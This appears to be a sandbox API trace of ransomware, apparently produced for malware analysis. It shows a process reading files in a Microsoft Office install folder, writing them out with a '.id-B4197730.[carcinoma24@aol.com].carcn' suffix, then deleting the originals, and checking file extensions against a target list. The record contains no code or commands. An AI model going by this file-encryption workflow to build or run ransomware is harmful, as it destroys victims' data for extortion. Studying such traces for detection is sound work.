SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0278.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.497] lstrlenW (lpString=".doc") returned 4 [0278.497] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.497] lstrlenW (lpString=".docx") returned 5 [0278.497] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.497] lstrlenW (lpString=".pdf") returned 4 [0278.497] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.497] lstrlenW (lpString=".xls") returned 4 [0278.497] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString=".xlsx") returned 5 [0278.498] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.498] lstrlenW (lpString=".ppt") returned 4 [0278.498] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString=".zip") returned 4 [0278.498] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString=".rar") returned 4 [0278.498] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString=".bz2") returned 4 [0278.498] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString=".7z") returned 3 [0278.498] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString=".dbf") returned 4 [0278.498] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString=".1cd") returned 4 [0278.498] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString=".jpg") returned 4 [0278.498] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.498] lstrlenW (lpString=".doc") returned 4 [0278.498] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".docx") returned 5 [0278.499] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.499] lstrlenW (lpString=".pdf") returned 4 [0278.499] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".xls") returned 4 [0278.499] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".xlsx") returned 5 [0278.499] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.499] lstrlenW (lpString=".ppt") returned 4 [0278.499] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.499] lstrlenW (lpString=".zip") returned 4 [0278.499] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".rar") returned 4 [0278.499] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".bz2") returned 4 [0278.499] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.499] lstrlenW (lpString=".7z") returned 3 [0278.499] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.499] lstrlenW (lpString=".dbf") returned 4 [0278.499] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.502] lstrlenW (lpString=".1cd") returned 4 [0278.502] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0278.502] lstrlenW (lpString=".jpg") returned 4 [0278.502] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.502] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0278.502] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0278.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.510] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=45435) returned 1 [0278.511] CloseHandle (hObject=0x540) returned 1 [0278.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0278.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.512] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.512] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.513] GetLastError () returned 0x0 [0278.513] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xb17b, lpOverlapped=0x0) returned 1 [0278.530] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xb180, lpOverlapped=0x0) returned 1 [0278.533] ReadFile (in: hFile=0x540, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.533] WriteFile (in: hFile=0x544, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf8, lpOverlapped=0x0) returned 1 [0278.533] SetEndOfFile (hFile=0x544) returned 1 [0278.533] CloseHandle (hObject=0x544) returned 1 [0278.808] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.808] SetEndOfFile (hFile=0x540) returned 1 [0278.813] CloseHandle (hObject=0x540) returned 1 [0278.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.813] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0278.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.815] lstrlenW (lpString=".doc") returned 4 [0278.815] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.815] lstrlenW (lpString=".docx") returned 5 [0278.816] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.816] lstrlenW (lpString=".pdf") returned 4 [0278.816] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString=".xls") returned 4 [0278.816] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString=".xlsx") returned 5 [0278.816] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.816] lstrlenW (lpString=".ppt") returned 4 [0278.816] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.816] lstrlenW (lpString=".zip") returned 4 [0278.816] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString=".rar") returned 4 [0278.816] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString=".bz2") returned 4 [0278.816] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.816] lstrlenW (lpString=".7z") returned 3 [0278.816] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.816] lstrlenW (lpString=".dbf") returned 4 [0278.816] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.817] lstrlenW (lpString=".1cd") returned 4 [0278.817] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.817] lstrlenW (lpString=".jpg") returned 4 [0278.817] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.817] lstrlenW (lpString=".doc") returned 4 [0278.817] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString=".docx") returned 5 [0278.817] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.817] lstrlenW (lpString=".pdf") returned 4 [0278.817] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString=".xls") returned 4 [0278.817] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.817] lstrlenW (lpString=".xlsx") returned 5 [0278.817] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.817] lstrlenW (lpString=".ppt") returned 4 [0278.817] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.818] lstrlenW (lpString=".zip") returned 4 [0278.818] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.818] lstrlenW (lpString=".rar") returned 4 [0278.818] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.818] lstrlenW (lpString=".bz2") returned 4 [0278.818] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.818] lstrlenW (lpString=".7z") returned 3 [0278.818] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.818] lstrlenW (lpString=".dbf") returned 4 [0278.818] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.818] lstrlenW (lpString=".1cd") returned 4 [0278.818] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0278.819] lstrlenW (lpString=".jpg") returned 4 [0278.819] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.819] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.819] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0278.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.821] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19136) returned 1 [0278.821] CloseHandle (hObject=0x540) returned 1 [0278.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0278.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.822] lstrlenW (lpString=".doc") returned 4 [0278.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.822] lstrlenW (lpString=".docx") returned 5 [0278.822] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.822] lstrlenW (lpString=".pdf") returned 4 [0278.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.822] lstrlenW (lpString=".xls") returned 4 [0278.822] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.822] lstrlenW (lpString=".xlsx") returned 5 [0278.822] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.822] lstrlenW (lpString=".ppt") returned 4 [0278.822] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.822] lstrlenW (lpString=".zip") returned 4 [0278.822] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.823] lstrlenW (lpString=".rar") returned 4 [0278.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.823] lstrlenW (lpString=".bz2") returned 4 [0278.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.823] lstrlenW (lpString=".7z") returned 3 [0278.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.823] lstrlenW (lpString=".dbf") returned 4 [0278.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.825] lstrlenW (lpString=".1cd") returned 4 [0278.825] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.825] lstrlenW (lpString=".jpg") returned 4 [0278.825] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.825] lstrlenW (lpString=".doc") returned 4 [0278.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.825] lstrlenW (lpString=".docx") returned 5 [0278.826] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.826] lstrlenW (lpString=".pdf") returned 4 [0278.826] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.826] lstrlenW (lpString=".xls") returned 4 [0278.826] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.826] lstrlenW (lpString=".xlsx") returned 5 [0278.826] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.826] lstrlenW (lpString=".ppt") returned 4 [0278.826] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.826] lstrlenW (lpString=".zip") returned 4 [0278.826] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.826] lstrlenW (lpString=".rar") returned 4 [0278.826] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.826] lstrlenW (lpString=".bz2") returned 4 [0278.826] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.826] lstrlenW (lpString=".7z") returned 3 [0278.826] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.826] lstrlenW (lpString=".dbf") returned 4 [0278.826] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.827] lstrlenW (lpString=".1cd") returned 4 [0278.827] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0278.827] lstrlenW (lpString=".jpg") returned 4 [0278.827] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.827] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.827] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0278.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0278.829] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=18624) returned 1 [0278.829] CloseHandle (hObject=0x540) returned 1 [0278.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0278.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.830] lstrlenW (lpString=".doc") returned 4 [0278.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString=".docx") returned 5 [0278.830] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.830] lstrlenW (lpString=".pdf") returned 4 [0278.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString=".xls") returned 4 [0278.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString=".xlsx") returned 5 [0278.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.830] lstrlenW (lpString=".ppt") returned 4 [0278.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.830] lstrlenW (lpString=".zip") returned 4 [0278.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString=".rar") returned 4 [0278.830] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.830] lstrlenW (lpString=".bz2") returned 4 [0278.830] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.831] lstrlenW (lpString=".7z") returned 3 [0278.831] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.831] lstrlenW (lpString=".dbf") returned 4 [0278.831] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.831] lstrlenW (lpString=".1cd") returned 4 [0278.831] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.831] lstrlenW (lpString=".jpg") returned 4 [0278.831] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.831] lstrlenW (lpString=".doc") returned 4 [0278.831] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.831] lstrlenW (lpString=".docx") returned 5 [0278.831] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.832] lstrlenW (lpString=".pdf") returned 4 [0278.832] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.832] lstrlenW (lpString=".xls") returned 4 [0278.832] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.832] lstrlenW (lpString=".xlsx") returned 5 [0278.832] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.832] lstrlenW (lpString=".ppt") returned 4 [0278.832] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.832] lstrlenW (lpString=".zip") returned 4 [0278.832] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0278.832] lstrlenW (lpString=".rar") returned 4 [0278.832] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0278.832] lstrlenW (lpString=".bz2") returned 4 [0278.832] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.832] lstrlenW (lpString=".7z") returned 3 [0278.832] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.832] lstrlenW (lpString=".dbf") returned 4 [0278.832] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.833] lstrlenW (lpString=".1cd") returned 4 [0278.833] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0278.833] lstrlenW (lpString=".jpg") returned 4 [0278.833] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0278.833] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.833] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0278.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, 